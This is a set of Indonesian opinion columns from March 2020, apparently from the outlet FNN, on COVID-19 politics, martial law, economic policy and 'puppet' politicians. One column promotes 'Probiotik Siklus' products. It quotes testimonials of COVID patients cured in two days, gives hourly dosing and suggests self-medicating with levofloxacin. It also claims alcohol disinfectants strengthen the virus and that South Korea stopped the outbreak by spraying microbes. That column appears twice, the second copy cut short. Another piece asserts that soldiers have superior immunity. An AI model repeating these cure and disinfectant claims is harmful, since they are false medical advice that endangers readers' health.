Pusat. Kedelapan, belum ada kepastian kemampuan negara menanggung nasib ekonomi rakyat terkait dampak coronavirus. Kesembilan, Potensi kerawanan dan peningkatan kriminalitas paska kesulitan ekonomi belum bisa diantisipasi. Kesan lambatnya Gugus Tugas ini bekerja. Pertama, karena Gugus Tugas ini adalah institusi yang bersifat koordinatif. Sehingga unsur-unsur negara lainnya, seperti Pemerintah Daerah, dengan otoritas mereka yang dijamin UU, tetap melakukan langkah operasional yang merespon situasi di daerah. Respon ini terkadang terlihat belum terkoordinasi dengan Gugus Tugas Nasional. Contohnya, ketika Papua ingin melakukan "Lockdown". Surat yang dilayangkan Pemerintah Daerah Papua ditujukan kepada Jokowi dan atau Mendagri. Di sini peranan Gugus Tugas tidak signifikan. Kedua, konsolidasi Gugus Tugas terhambat karena konsolidasi logistik melalui realokasi anggaran membutuhkan waktu. Ketiga, pengerahan kekuatan pemaksa, antara lain aparatur militer dan polisi terkendala dengan sifat kordinasi ala sipil. Apakah Darurat Militer Perlu? Pernyataan saya dalam diskusi di stasiun TV nasional pada Jumat 27/3 malam kemarin, yang mendukung militer mengambil tugas operasi non militer adalah sebagai berikut. Pertama, situasi pandemik corona virus di Indonesia sangat kompleks dan komplikasi. Kompleks karena spektrum permasalahan terkait wabah dan dampak ekonomi yang sangat rumit karena pusat wabah ada di Jakarta. Lalu ke seluruh Jawa, di mana kepadatan penduduk mencapai 13.000-15.000 jiwa per kilometer persegi. Banyaknya perkampungan kumuh menyulitkan "physical distancing" dan "social distancing". Sehingga wabah akan sulit terkendali. Pada saat yang sama kekuatan sektor kesehatan kurang mendukung. Akselerasi wabah dibanding peningkatan kapasitas penanganan Covid-19 sangat berbanding terbalik. Beberapa dokter dan tim medis sudah kewalahan dan menjadi korban tertularnya Covid-19. Kedua, kemiskinan yang tinggi dan tidak gampang di atasi dalam situasi wabah. Membutuhkan strategi logistik yang cepat. Dimana orang-orang miskin harus mendapatkan haknya untuk makan. Apabila orang-orang miskin tidak dilindungi, maka ada legitimasi bagi orang-orang miskin menuntut hak-haknya untuk makan dengan jalan kekerasan. Ketiga, secara fisik TNI memiliki kekebalan tubuh relatif lebih baik dari non TNI. Fakta sudah menunjukkan beberapa kepala daerah, pejabat daerah, menteri, DPR, dan elit2-elit nasional non militer, terinfeksi coronavirus. Sebagiannya ada yang wafat. Dalam situasi wabah tentu saja garda terdepan dalam mengolala negara, baik berkaitan dengan wabah, maupun dampak sosial ekonominya, perlu dikelola orang-orang militer. Mereka secara fisik lebih memiliki imunitas yang tinggi dibandingkan non militer. Keempat. satuan TNI memilik Sapta Marga dan payung UU untuk bertanggung jawab dalam menyelamatkan segenap tumpah darah anak-anak bangsa ini. Tentu saja ada perdebatan kapan TNI melakukan respon memenuhi panggilan tugas-tugas itu? Disini berlaku ungkapan lebih cepat lebih baik. Tentara dan Demokrasi Soal tentara masuk dalam urusan wabah coronavirus ini, memang menjadi isu sensitif. Sebagian orang mendendam kehadiran militer dalam urusan sipil. Saya sendiri yang menjadi korban oposisi dalam rezim militer Orde Baru paling trauma kalau tentara mengambil alih situasi. Namun, kecerdasan memahami situasi adalah hal yang paling penting saat ini. Situasi saat ini merupakan situasi "unprecedented" bagi kita. Belum pernah bangsa ini diserang virus. Diserang virus tidak dapat dihadapi dengan model perang menghadapi manusia maupun robot. Menghadapi virus dalam situasi kompleksitas kita dan komplikasi masalah akan cepat atau lambat memusnahkan elit-elit bangsa. Begitu juga dengan sebagian besar masyarakat kita. Dengan demikian cara pandang kita pada situasi seperti ini adalah membutuhkan kehadiran kekuatan yang bergerak dengan cepat dan tepat. Dan kekuatan tersebut hanya ada pada militer. Sehingga pikiran kita soal demokrasi untuk sementara dapat dikebelakangkan dahulu. Disinilah dibutuhkan trust. Sebuah kepercayaan untuk meminta kekuatan yang siap, sigap dan cepat daya geraknya. Juga kepercayaan bahwa TNI tentu tidak serta merta mengambil keuntungan nantinya paska wabah tersebut coronavirus ini berakhir. Penutup Peranan militer dalam mengambil alih penangan wabah coronavirus ini sudah sangat diperlukan. Mengingat wabah coronavirus di Indonesia berkembang sangat cepat. Beberapa wilayah bahkan sudah phobia virus menjalar dari Jakarta ke daerah-daerah. Apalagi nanti pada musim mudik Ramadhan dan lebaran. Dukungan saya ini tidak bermaksud mengurangi supremasi sipil dan demokrasi. Namun kompleksitas persoalannya dan komplikasi yang terjadi, cepat atau lambat akan menjadi ancaman besar. Bisa saja kita percaya pada Gugus Tugas yang dikomandoi Jendral Doni Monardo, namun kelemahan struktural karena bersifat kordinatif harus diukur terus. Jika dalam waktu dekat ini (saya garis bawahi jika dalam waktu dekat) akselerasi wabah ini semakin tidak terkendali, ada baiknya darurat militer diberlakukan. Sebagai pecinta demokrasi kita perlu memberikan kepercayaan pada militer mengatasi pandemik ini. Mudah-mudahan pikiran saya ini tidak ditanggapi emosional. Saya sendiri adalah oposisi terhadap rezim militer di masa Orde Baru. Namun, saat ini saya berpendapat sebagai tentara rakyat dan tentara pejuang, saatnya bagi militer menolong rakyat sebagai ayah kandungnya . Penulis adalah Direktur Eksekutif Sabang Merauke Circle.

“Marathon” Menghadapi Krisis Covid-19, Perspektif Kebijakan Ekonomi

By Andi Rahmat Jakarta FNN – Minggu (29/03). Saya menuliskan ini setelah membaca pernyataan IMF yang mendeklarasikan bahwa ekonomi dunia sedang memasuki masa krisis, yang bahkan lebih besar skalanya dibanding krisis keuangan 2008. Pernyataan IMF ini sejalan dengan pernyataan Sekertaris Jenderal OECD Angel Guria yang menyatakan bahwa crisis pandemi Covid-19 ini merupakan “ greatest economic, financial and social shock of the 21st century “ (ABC News 23/03/2020 ). Yang membedakan diantara kedua lembaga ini adalah pada prediksi waktu yang diperlukan bagi ekonomi dunia untuk kembali pulih dan keluar dari krisis. IMF lebih optimistis dengan beranggapan bahwa ekonomi dunia akan kembali pulih ditahun 2021. Sedang OECD beranggapan bahwa pemulihan ekonomi tidak akan pulih dengan mudah . OECD memperkirakan pertumbuhan ekonomi dunia akan jatuh ke kisaran 1.5 %, atau setengah dari proyeksi pertumbuhan ekonomi global yang sebelumnya diperkirakan oleh OECD. Dengan kata lain, kapasitas perekonomian dunia akan terpangkas separuhnya dari proyeksi sebelum pandemi Covid-19. Yang terpenting adalah pemahaman konsensual dari ekonom dan lembaga- lembaga dunia bahwa perekonomian dunia mengalami pukulan keras. Pukulan yang mengarah ke krisis sebagai dampak dari pandemi Covid-19. Itu sebabnya, saya memberi penekanan pada istilah “Maraton” sebagai terma kunci dalam mindset kebijakan ekonomi yang akan ditempuh. Penekanan istilah kunci ini perlu kita sarankan kepada pemegang otoritas. Implikasi dari istilah ini adalah, bauran kebijakan ekonomi yang diambil bertumpu pada titik horison penyelesaian persoalan ekonomi. Yang dimulai dengan penanganan sumber disrupsi ekonomi yaitu pandemi Covid-19. Kemudian dirangkaikan dengan langkah-langkah mitigatif terhadap pemerosotan lebih jauh perekonomian. Yang berujung pada kebijakan pemulihan ekonomi dan pemulihan sosial. Perlu dicatat bahwa pemulihan ekonomi dan pemulihan sosial itu mesti diletakkan dalam satu keranjang penyelesaian. Sebab kedua-duanya merupakan “primus interpares “ dalam problem ekonomi kita. Argumennya seperti yang telah diimplisitkan oleh ekonom Thomas Picketty, pemenang utama dalam krisis ekonomi modern adalah kelompok berpunya (the have). Dikarenakan kapasitas penguasaan aset mereka yang menyebabkan kelompok ini memiliki advantages terhadap sumber-sumber pemulihan; secara ekonomi dan politik. Dalam bayangan saya. Kombinasi antara pemulihan ekonomi dan pemulihan sosial mengandaikan lahirnya kebijakan ekonomi yang bertujuan untuk memperkuat infrastruktur perekonomian rakyat kebanyakan (mainstreet economy ). Suatu kebijakan ekonomi yang sepenuhnya berpihak pada kelompok ekonomi masyarakat luas. Istilah populernya itu “UMKM” tanpa tedeng aling-aling. Ukurannya adalah menurunnya angka Gini Ratio secara signifikan pasca krisis. Dan bukannya makin meningkatnya angka Gini Ratio pasca krisis, seperti yang selama ini kita lihat. Tidak hanya didalam negeri, tetapi juga merupakan fenomena global, dan baru saja terjadi lagi pasca krisis keuangan dunia tahun 2008 kemarin. Dalam kerangka “Maraton“ ini ada lima hal yang perlu untuk diwaspadai. Pertama, peningkatan angka pengangguran yang besar. Kedua, pemerosotan sumber penerimaan negara. Ketiga, krisis permodalan yang dialami oleh UMKM. Keempat, penurunan volume arus barang dan jasa. Kelima, daya tahan dari institusi-institusi keuangan nasional. Pengangguran kali ini bersifat massal. Terutama sektor informal, tanpa mengabaikan sektor formal yang terdampak. Karena itu, dalam jangka pendek kebijakan transfer langsung massal diperlukan. Ada 76 juta (data BPS 2017) penduduk indonesia dalam kategori near poor dan poor yang masuk di dalamnya. Tidak boleh kurang dari itu. Biarkan rakyat kita tidak menderita dalam bertahan hidup. Dikarenakan pemerosotan output ekonomi, sumber penerimaan negara dalam bentuk perpajakan juga akan merosot. Ini akan terasa hingga pada anggaran 2021. Pembacaan ini akan sangat berpengaruh pada kalkulasi upaya counter cyclical otoritas. Manejemen pengelolaan pembiayaan yang defisit akan menjadi kunci dalam hal ini. Sektor UMKM, sekali lagi, adalah prioritas emas. Kualitas modal mereka sangat terbatas. Dalam situasi krisis yang tidak normal ini, modal mereka akan tergerus habis. Perlu suatu kerangka kebijakan yang dirancang untuk memudahkan mereka untuk kembali memulai bisnis, sangat diperlukan. Disini peran pentingnya ada pada OJK, dan juga Bank Indonesia. Kapasitas regulatif OJK di sektor keuangan dan perbankan, serta ruang lingkup kewenangan BI harus dipergunakan secara optimal dalam hal ini. Dan jika diperlukan, perluasan kewenangan BI agar bisa membail out sektor riil ( UMKM ) seyogyanya diperluas. Arus barang dan jasa juga adalah sisi yang paling keras mengalami pukulan. Ini adalah penjamin lancarnya hubungan supply and demand dalam perekonomian. Pada tahap awal, perlu dipikirkan kemungkinan penggunaan kapasitas moda transportasi umum yang sekarang ini “idle”. Pendarahan di sektor ini akan berdampak pada upaya pemulihan lanjut perekonomian. Dan yang terakhir, daya tahan institusi keuangan. Tentu kita tidak berharap institusi keuangan ini akan diperlakukan lagi seperti d itahun 1998 dan 2008. Tetapi menginsulasi sektor ini dari resiko sudah tentu tidak bisa dihindari. Saya pribadi mengapresiasi langkah-langkah otoritas keuangan dalam hal ini. Karena keterbatasan perundang-undangan, kerangka MOU antara otoritas fiskal, Bank Indonesia, OJK dan LPS mestinya diperkuat lagi. Untuk mengatasi krisis keuangan, kita sudah memiliki UU Jaring Pengaman Sektor Keuangan. Tetapi dalam menghadapi krisis yang tidak normal ini, terdapat banyak kendala yang membatasi integrasi kebijakan antara pemerintah dan otoritas independen seperti BI, OJK dan LPS. Karena itu diperlukan suatu landasan yang kuat. Landasan yang menjamin integrasi kebijakan diantara lembaga-tersebut agar dapat bersifat eksekutorial. Dengan catatan, harus tetap berpegangan pada karakteristik independen dari masing-masing lembaga itu dalam menjalankan tugasnya. Akhirnya, kepada Allah SWT jugalah kita berserah diri. Semoga Allah SWT menolong bangsa dan negara kita agar dapat keluar dari krisis ini. Wallahu ‘alam. Penulis adalah Pelaku Usaha dan Mantan Wakil Ketua Komisi XI DPR RI

Solusi Darurat Corona Indonesia: Tirulah Korsel, Pakai Mikroba!

Oleh Mochamad Toha Jakarta, FNN - Pageblug – begitu orang Jawa menyebut wabah penyakit yang menyebar secara massif yang banyak menelan korban meninggal – akan dimulai tiga hari dari sekarang (26 Maret 2020). Sekarang ini, yang harus disiapkan adalah Rumah Isolasi. Begitu pesan dr. Tifauzia Tyassuma, Kamis (26 Maret pukul 10.20). Gubernur, Walikota, Bupati harus sewakan Apartemen, Hotel, Asrama, Penginapan, Perumahan Kosong, apapun tempat yang bisa dijadikan Rumah Isolasi. Dokter, Peneliti, dan Penulis AHLINA Institute itu mengungkapkan, dalam tiga hari jumlah kasus terlaporkan akan mencapai angka 1000. Artinya, ada sejumlah 20.000 PDP bertebaran di seluruh Indonesia tanpa terdeteksi. Dalam 20-40 hari dari sekarang (26/3/2020), jumlah kasus akan mencapai titik puncaknya, yaitu 1.200.000 kasus,artinya, ada 22.800.000 PDP di seluruh Indonesia. Jelas akan banyak mayat di mana-mana. Terutama mayat orang tak punya rumah, yang tidak diurus siapapun. “Pageblug: pagi sakit, sore mati. Untuk mengantisipasi hal tersebut supaya tidak makin menghebat, maka mulai dari sekarang, adakan Rumah Isolasi sebanyak mungkin!” pesan Dokter Tifa. Kapan covid 19 mencapai puncak? “Setelah kasus terlaporkan mencapai 1.200.000 kasus positif. Atau 60.000.000 kasus riil di lapangan. Sekitar 22% dari 271.000.000 orang. Kasus kematian sebanyak 99.800 orang yang dilaporkan,” ungkap Dokter Tifa. Kasus kematian riil di lapangan 4.980.000 orang. Jadi, penduduk Indonesia berkurang 2%. Setelah itu Covid-19 mencapai puncak ledakannya, dan kemudian turun dengan perlahan sampai 12 bulan. Kapan itu? “Perkiraan saya 50-70 hari setelah tanggal 2 Maret 2020. Sekitar 19 April sd 19 Mei 2020,” lanjut Dokter Tifa. Setelah itu yang terjadi, grafik akan turun perlahan, melandai sampai dengan Agustus, lalu menipis dan stop pada Januari 2021. Kenapa bisa turun? Apa virusnya mati sendiri? Bukan begitu. Dengan kasus sebanyak itu, Indonesia menjadi “kolam merah”. Terbentuklah Natural Herd Immunity atau Kekebalan kolektif bersama-sama. Mirip seperti Vaksinasi massal serentak. Dokter Tifa menyeru, “Ayo rakyat, kita berbuat mulai sekarang juga! Lockdown diri kalian masing-masing. Anggap saja kita beruang di gua selama musim dingin. Siapkan logistik. Banyak berdoa dan berpuasa. Bismillah.” “Allah bersama kita. Berdoa bersama agar Allah turunkan pasukan langit, membasmi virus ini dengan cepat. Agar prediksi scientific di atas tak perlu terjadi. Doa mampu mengubah takdir. Ayo berdoa!” pinta Dokter Tifa. Juru Bicara Pemerintah untuk Penanganan Virus Corona, Achmad Yurianto mengungkapkan, penularan virus Corona terus terjadi. Terbukti dengan bertambahnya 109 kasus positif corona sehingga menjadi 1.155 kasus positif. Pasien sudah sembuh bertambah 13 orang. Sehingga total pasien sembuh menjadi 59 orang. Kasus kematian bertambah 15 orang. Sehingga menjadi 102 orang yang meninggal akibat kasus ini. Demikian penjelasan Achmad Yurianto, Sabtu (28/3/2020). Kompas.id pada 27 Maret 2020 menulis berita “Tanpa Tindakan Drastis, Separuh Penduduk Indonesia Berpotensi Terinfeksi Covid-19 Sebelum Lebaran”. Jika terjadi sangat menakutkan. Kedubes Asing saja tidak percaya. Saat kita masih mengundang asing masuk di negeri yang indah ini, mereka malah enyerukan kepada warganya agar meninggalkan Indonesia. Artinya, kita diasingkan oleh negara tetangga. Kita di-lockdown oleh dunia. Mereka ragu dengan kemampuan dan fasilitas kesehatan yang dimiliki oleh Indonesia. Faskes yang dipunyai Indonesia, jauh di bawah standar internasional. Jumlah dokter, perawat, rumah sakit khusus, ruang isolasi, dan jumlah tempat tidur rumah sakit, jauh dari memadai. Begitu pula dengan test kit dan APD (Alat Pelindung Diri) juga sangat tidak memadai. Enam dokter yang meninggal akibat tertular dan terinfeksi virus corona adalah buktinya. Melihat kenyataan ini sampai IDI “mengancam” menarik diri dari penanganan virus corona ini. Menurut salah satu studi oleh institusi berbasis di London, kasus Covid-19 yang terdeteksi di Indonesia hanya sekitar 2 persen dari yang diperkirakan seharusnya. Jumlah terinfeksi corona ini realitanya bisa lebih dari 34 ribu orang, mungkin sekarang sudah melonjak lagi. Sembuh Corona Di tengah wabah Virus Corona, ternyata ada banyak masyarakat yang sudah tergabung dalam Grup Probiotik Siklus (GPS), melakukan pengobatan mandiri. Mereka yang tergabung dalam puluhan GPS ini lebih siap dalam menghadapi serangan virus corona tersebut. Mereka melakukan pengobatan secara mandiri. Kalau pun ada yang sudah dinyatakan positif virus corona oleh rumah sakit tempat dirawat, mereka berhasil sembuh dengan menggunakan varian produk Probiotik Siklus (PS). Berikut beberapa testimoninya: “Sy mau berbagi info bahagia. Setidaknya usaha sy ada hasilnya. Bbrpa hari yll sy sempat sampaikan di sini, teman sy yg suami istri dokter. Suaminya sempat demam 5hr plus batuk2, 3 hr nya sempat tangani covid. Sy sarankan pakai g10+bio imun plus biosel utk anak2nya dan pengharum ruangan.” “Alhamdulillah hari berikutnya kondisinya membaik. Target sy adl bagaimana agar mereka berdua (krn keduanya dokter praktek di RS di Jkta) bs menjadi wasilah u penyebaran PS ini utk menyelamatkan byk nyawa.” “Alhamdulillah masya Allah, atas pertolongan Allah, kmd atas doa dr teman2 semua, stlh melalui diskusi yg ckp panjang, berbalas WA, dgn sedikit pemahaman yg sy miliki, alhamdulillah mereka paham dan bs menerima teori ini.” “Dan skrg keduanya ingin mempromosikan produk ini ke rekan2 sejawatnya (untuk bs mengatasi kondisi saat ini). Mohon doanya terus agar usaha ini membuahkan hasil. Sangat berharap sekali kondisi saat ini tidak semakin memburuk dan bisa berangsur membaik.” “[26/3 22:47] Formulator: Alhamdulillah, dengan ketelatenan kita semua, secara perlahan teori ini akan bisa diterima dan terbukti kebenarannya. PS itu kebenarannya alamiah, obyektif ....dan bahkan ada bilang absolut, karena sesuai sunnah Nya.....” “Alhamdulillah..., Ihtiar PS 2 Hari Pasien Positif Covid Membaik.” “[21/3 20:55] Formulator: Catatan: Ada anggota GPS yg positif covid, dan saya arahkan dg PS, dlm 2 hari perkembangan nya LUAR BIASA. Sudah cukup sehat.” “[21/3 20:56] +62 813-1490-XXX: Hanya 2 hari prof?” “[21/3 20:56] +62 857-7782-XXX: Ps variant apa saja prof ? Dan apa diperlukan juga antibiotik? Karna ini serupa dengan pneumonia ya prof?” “[21/3 20:58] Formulator: Variannya, terutama: G8 atau 10 atau 12 atau 17. Diberikan 2 sdm, setiap 1 jam sekali. Bioimune: 3-4x1 sdm. Biozime super: 10 tts setiap 1 jam sekali.” “[21/3 21:00] Formulator: Benar, hanya 2 hari. Sudah ada 2 orang yg terselamatkan dg bantuan PS. Antibiotiknya, saya sarankan : obat yang isinya LEVOFLOXACIN yang paten.” Mengapa G8? G8 adalah bakteri komunitas dengan jumlah ribuan strains bakteri tanah (hingga 7.500 strains) dan didominasi oleh “sekumpulan bakteri negatif” yang dibutuhkan oleh tubuh. Pada saat virus – termasuk diantaranya corona – dihadirkan G8, maka virus ini berasumsi yang dihadirkan di G8 adalah kawan-kawan mereka. Sehingga “virus tidak lagi merasa diserang, tidak lagi merasa disakiti, tidak lagi merasa terancam keberadaannya”. Yang terjadi kemudian, bersama-sama dengan sekumpulan bakteri lengkap pada G8, mereka akan hidup normal, berkembang dan regeneratif sesuai fitrahnya. Keseimbangan Mikrobiota. Itulah kemudian yang terjadi. Nah, pada saat semua seimbang, selesai sudah masalah karena tidak lagi ada yang terlalu dominan, tidak lagi ada ketimpangan. Lain cerita saat “virus – termasuk corona – “dihadirkan” desinfektan (Alkohol). Alkohol, jika di bawah 75%, hanya “mendormen” (menidurkan) bakteri/virus. Maka, akan ada saat virus bangun dari tidurnya. Alkohol di atas 75% baru bisa mengeluarkan bakteri. Ingat hanya mengeluarkan dan tidak mematikan. Virus corona itu didesain kuat! Bahkan, alkohol bisa dimakan sebagai nutrisi penguat dan berpeluang bermutasi menjadi yang lain yang jauh lebih ganas. Jika dihadirkan desinfektan, yang ada, virus akan berkembang massive, karena dia merasa diserang, merasa disakiti, dan merasa terancam keberadaannya. Itulah mengapa Korea Selatan sangat cepat dan tepat dalam atasi wabah virus corona. Korsel cepat mengatasi ini karena mereka semprot pakai EM (4 strain bakteri). Kalau dalam PS ada ribuan strain bakteri, maka tidak bakal meluas dan meluas lagi penyebarannya. “Kalau pakai desinfektan bakteri malah semakin banyak dan semakin kuat,” ungkap seorang anggota GPS-2, sambil memberikan terjemahan berita yang tayang dalam m.nocutnews.co.kr itu. Beritanya bahasa Korea, diterjemahkan dengan fasilitas translate di chrome. Pusat Teknologi Koperasi Pertanian Busan Gijang-gun mengumumkan pada tanggal 7 bahwa mereka melakukan “kegiatan perlindungan lingkungan” menggunakan EM (mikroorganisme yang berguna) untuk mencegah infeksi korona19. EM yang diproduksi dan didistribusikan oleh Gijang-gun Nonghyup Technology Center terutama bersifat asam, dengan bakteri asam laktat sebagian besar mencapai pH 3,5. Pusat ini mengencerkan asam sitrat dalam EM ini untuk pencegahan virus karena virus ini rentan terhadap kondisi asam. Selain itu, EM, yang secara teratur disuplai setiap hari Rabu di kultur mikroba yang berguna, didistribusikan setiap hari sampai virus tenang. Dispenser tak berawak dipasang di dua pusat kesejahteraan administratif di Gijang-eup dan pusat kesehatan masyarakat di Jeonggwan-eup sehingga penduduk dapat dengan mudah menerima EM. Seorang pejabat Pusat Teknologi Koperasi Pertanian Gijang-gun mengatakan, “Kami akan mencegah korona19 dengan memperluas kegiatan karantina yang ramah lingkungan. Kami juga akan memperluas pasokan mikroorganisme yang berguna sehingga semua orang dapat menggunakannya dengan nyaman.” Seperti halnya Korea, Jepang dan Jerman kabarnya juga menggunakan bakteri serupa untuk mengatasi virus corona. ** Penulis wartawan senior.

Apa Yang Bisa Diharapkan Dari Para Boneka?

By Tony Rosyid Jakarta FNN – Minggu (29/03). Istilah "boneka" seringkali diasosiasikan untuk seseorang yang peran dan sikapnya dikendalikan orang lain. Saat manggung, seorang aktor atau artis dikendalikan peran panggungnya oleh sutradara. Berarti mereka adalah boneka. Erving Goffman menggunakan mekanisme panggung ini untuk menganalisis dunia sosial. Ada panggung depan (front stage), ada panggung belakang (back stage). Panggung depan sering berbeda dengan panggung belakang. Bedanya bisa 180 derajat. Di depan para penonton seorang pelawak bisa ketawa. Padahal di hatinya ia sedang menangis karena konflik keluarga. Ini biasa terjadi. Inilah yang oleh Goffman disebut dengan dramaturgi. Teori dramaturgi ini menarik ketika dibawa ke panggung politik. Para pelaku politik (politisi) punya dua panggung. Panggung ketika mereka berhadapan dengan publik, dan panggung ketika mereka berada di lingkungan temen-temen politiknya. Di hadapan publik, para politisi akan bicara moral. Istilah nasionalisme dan NKRI menjadi khutbah hariannya yang berbusa-busa. Fungsi-fungsi pelayanan publik akan selalu dijadikan narasi indahnya. Apakah idealisme ini juga jadi narasi mereka saat berada di panggung belakang? Panggung belakang itu masuk wilayah otoritas Ketua Umum Partai. Anggota-anggota partai adalah serdadu yang bekerja untuk menerjemahkan dan menyampaikan keputusan partai. Terutama agenda dari Ketua Umumnya. Di depan media, mereka dalam posisi sebagai juru bicara partai, dengan gaya dan kemampuan inovatif masing-masing. Ini konteksnya anggota partai. Kalau staf istana, mereka akan bicara sesuai draf dari istana. Biasanya, juru bicara istana lebih hati-hati dan lebih teratur, agar tak terjadi kesalahan. Kalau salah, bisa fatal. Karena merepresentasikan nama istana. Sedikit lebih sakral. Berbeda jauh dengan juru bicara dari partai. Tampak lebih bebas, atraktif dan meledak-ledak. Seolah ia satu-satunya orang yang punya otoritas dan pemegang tongkat kebenaran. Semakin lantang dan keras ia bicara, akan dianggap sebagai orang yang kritis dan berani. Padahal, boneka juga. Di panggung belakang, Ketua Umum Partai sedang melakukan negosiasi. Tidak hanya anggota partai dan juru bicara istana. Bahkan para ketua umum partai dan para penghuni istana boleh jadi juga boneka. Itu jika mereka menduduki posisi tersebut, dengan bantuan dan peran kelewat besar dari orang atau kelompok di luar. Kadang, untuk menjadi politisi yang sukses diperlukan kemampuan yang baik untuk mengambil peran sebagai boneka. Makin berhasil ia keluar dari dirinya sendiri, dan menyerahkan kepada otoritas orang lain (mem-boneka-kan diri), maka peluang kesuksesan untuk menduduki posisi strategis juga semakin terbuka lebar untuknya. Era demokrasi seperti saat ini, seringkali lahir dan memproduksi para pemimpin boneka. Kepala daerah hingga presiden. Bahkan juga anggota DPR, juga paling banyak yang menjadi boneka. Sangat sulit untuk menghindari kebutuhan terhadap mekanisme ini. Untuk nyalon presiden, anda harus mau didandani. Tidak boleh "mau anda" sendiri. Seperti apa anda akan dicitrakan, mesti berbasis pada hasil survei. Survei dilakukan bukan hanya untuk mengukur popularitas dan elektabilitas anda saja, tapi terutama untuk mengidentifikasi "apa mau" masyarakat pemilih terhadap anda. Masyarakat suka capres itu pakai baju putih lengan panjang, berpakaian sederhana, dan suka blusukan, misalnya. Maka anda harus berpenampilan seperti itu. Mekanisme pencitraan seperti ini berlaku juga untuk calon kepala daerah dan caleg. Citra apa yang diinginkan dan disukai masyarakat harus dipenuhi oleh sang calon yang boneka itu. Selain pencitraan, proses politik juga butuh uang. Bahkan untuk pencitraan itu sendiri perlu biaya besar. Ketika anda nyalon presiden, nyalon jadi kepala daerah, atau nyaleg, anda butuh dana (logistik). Dana yang dibutuhkan juga nggak sedikit. Kalau dana dari kantong sindiri nggak cukup. Biasanya memang nggak cukup. Jalan alternatifnya harus cari bantuan. Dan anda tahu, bantuan itu nggak gratis. Pasti ada konsekuensi dan kompensasinya. Disitulah anda mulai menggadaikan (mem-boneka-kan) diri anda. Makin besar anda bergantung kepada bantuan seseorang atau kelompok, maka semakin besar pula tekanan dan kendali terhadap diri anda. Kalau anda sudah dikendalikan, maka itu artinya anda sudah menjadi boneka seseorang atau kelompok itu. Demokrasi yang awalnya dibuat dengan fungsi utamanya untuk memberi ruang partisipasi rakyat secara penuh dan meluas. Tujuanya, agar lahir para pemimpin yang ideal, independen dan berani tampil membela dan menyuarakan kepentingan rakyat. Namun pada akhirnya yang jadi justru para boneka. Menurut Robert Merton, demokrasi yang melahirkan boneka ini disfunction. Keluar dari tujuan utama demokrasi. Yang diharapkan adalah seorang pemimpin yang berintegritas dan berkapasitas, tetapi yang keluar jadi pemenang umumnya justru para boneka. Kenapa ini terjadi? Karena demokrasi berjalan dalam mekanisme penuh rekayasa dan manipulatif. Pertama, para calon dimanipulasi sikap dan perilakunya agar sesuai dengan persepsi masyarakat pemilih. Tentu, berbasis pada hasil survei. Kedua, sikap dan perilaku seperti ini didukung dan mendapat legitimasi dari mereka yang punya otoritas sosial di masyarakat. Milsanya para tokoh, pimpinan ormas, agamawan dan intelektual yang telah lebih dulu dapat bantuan dari para calon boneka. Ketiga, legitimasi ini disosialisasikan secara masif oleh tim buzzer yang dibayar secara profesional untuk menjalankan tugas ini. Keempat, suara para pemilih tidak lagi murni. Dibeli dan diberikan kompensasi. Kelima, terjadi pengendalian terhadap panitia pemilu dengan menjadikannya sebagai tempat bertransaksi. Dipecatnya dua komisionir KPU Pusat adalah bagian dari pembuktian tersebut. Keenam, hukum dan aturan tidak jalan. Bahkan cenderung dikendalikan untuk sebuah kepentingan seseorang atau kelompok. Terinspirasi dari teori fungsionalnya Robert Merton, sesungguhnya demokrasi dan hukum berfungsi untuk siapa? Faktanya bukan untuk rakyat, tetapi untuk mereka yang berhasil secara sistematis menjadikan kebanyakan dari para elit politik itu sebagai boneka. Kalau begitu, apa yang bisa diharapkan dari boneka-boneka tersebut? Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Solusi Darurat Corona Indonesia: Tirulah Korsel, Pakai Mikroba!

Oleh Mochamad Toha Jakarta, FNN - Pageblug – begitu orang Jawa menyebut wabah penyakit yang menyebar secara massif yang banyak menelan korban meninggal – akan dimulai tiga hari dari sekarang (26 Maret 2020). Sekarang ini, yang harus disiapkan adalah Rumah Isolasi. Begitu pesan dr. Tifauzia Tyassuma, Kamis (26 Maret pukul 10.20). Gubernur, Walikota, Bupati harus sewakan Apartemen, Hotel, Asrama, Penginapan, Perumahan Kosong, apapun tempat yang bisa dijadikan Rumah Isolasi. Dokter, Peneliti, dan Penulis AHLINA Institute itu mengungkapkan, dalam tiga hari jumlah kasus terlaporkan akan mencapai angka 1000. Artinya, ada sejumlah 20.000 PDP bertebaran di seluruh Indonesia tanpa terdeteksi. Dalam 20-40 hari dari sekarang (26/3/2020), jumlah kasus akan mencapai titik puncaknya, yaitu 1.200.000 kasus,artinya, ada 22.800.000 PDP di seluruh Indonesia. Jelas akan banyak mayat di mana-mana. Terutama mayat orang tak punya rumah, yang tidak diurus siapapun. “Pageblug: pagi sakit, sore mati. Untuk mengantisipasi hal tersebut supaya tidak makin menghebat, maka mulai dari sekarang, adakan Rumah Isolasi sebanyak mungkin!” pesan Dokter Tifa. Kapan covid 19 mencapai puncak? “Setelah kasus terlaporkan mencapai 1.200.000 kasus positif. Atau 60.000.000 kasus riil di lapangan. Sekitar 22% dari 271.000.000 orang. Kasus kematian sebanyak 99.800 orang yang dilaporkan,” ungkap Dokter Tifa. Kasus kematian riil di lapangan 4.980.000 orang. Jadi, penduduk Indonesia berkurang 2%. Setelah itu Covid-19 mencapai puncak ledakannya, dan kemudian turun dengan perlahan sampai 12 bulan. Kapan itu? “Perkiraan saya 50-70 hari setelah tanggal 2 Maret 2020. Sekitar 19 April sd 19 Mei 2020,” lanjut Dokter Tifa. Setelah itu yang terjadi, grafik akan turun perlahan, melandai sampai dengan Agustus, lalu menipis dan stop pada Januari 2021. Kenapa bisa turun? Apa virusnya mati sendiri? Bukan begitu. Dengan kasus sebanyak itu, Indonesia menjadi “kolam merah”. Terbentuklah Natural Herd Immunity atau Kekebalan kolektif bersama-sama. Mirip seperti Vaksinasi massal serentak. Dokter Tifa menyeru, “Ayo rakyat, kita berbuat mulai sekarang juga! Lockdown diri kalian masing-masing. Anggap saja kita beruang di gua selama musim dingin. Siapkan logistik. Banyak berdoa dan berpuasa. Bismillah.” “Allah bersama kita. Berdoa bersama agar Allah turunkan pasukan langit, membasmi virus ini dengan cepat. Agar prediksi scientific di atas tak perlu terjadi. Doa mampu mengubah takdir. Ayo berdoa!” pinta Dokter Tifa. Juru Bicara Pemerintah untuk Penanganan Virus Corona, Achmad Yurianto mengungkapkan, penularan virus Corona terus terjadi. Terbukti dengan bertambahnya 109 kasus positif corona sehingga menjadi 1.155 kasus positif. Pasien sudah sembuh bertambah 13 orang. Sehingga total pasien sembuh menjadi 59 orang. Kasus kematian bertambah 15 orang. Sehingga menjadi 102 orang yang meninggal akibat kasus ini. 